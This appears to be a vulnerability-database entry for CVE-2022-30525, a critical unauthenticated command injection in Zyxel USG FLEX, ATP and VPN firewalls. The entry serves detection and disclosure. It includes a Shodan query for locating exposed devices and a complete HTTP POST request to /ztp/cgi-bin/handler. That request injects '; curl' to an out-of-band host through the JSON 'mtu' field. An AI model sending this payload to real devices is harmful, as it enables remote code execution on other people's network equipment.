| Title | Zyxel Firewall - OS Command Injection |
|---|---|
| Author | h1ei1,prajiteshsingh |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system. |
| Remediation | Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94445 |
| CVE ID | CVE-2022-30525 |
| CWE ID | CWE-78 |
| Shodan Query | title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"http.title:"usg flex 100","usg flex 100w","usg flex 200","usg flex 500","usg flex 700","usg flex 50","usg flex 50w","atp100","atp200","atp500","atp700" |
| Tags | cve2022 cve packetstorm zyxel firewall unauth kev msf rce vkev vuln |
An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
POST /ztp/cgi-bin/handler HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Content-Length: 154
Content-Type: application/json
Accept-Encoding: gzip
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl d5jmfg9le0o1hj7d4080cuh7ifrk6bg6z.oast.fun;","data":"hi"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-30525.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-30525.pcap
N/AN/A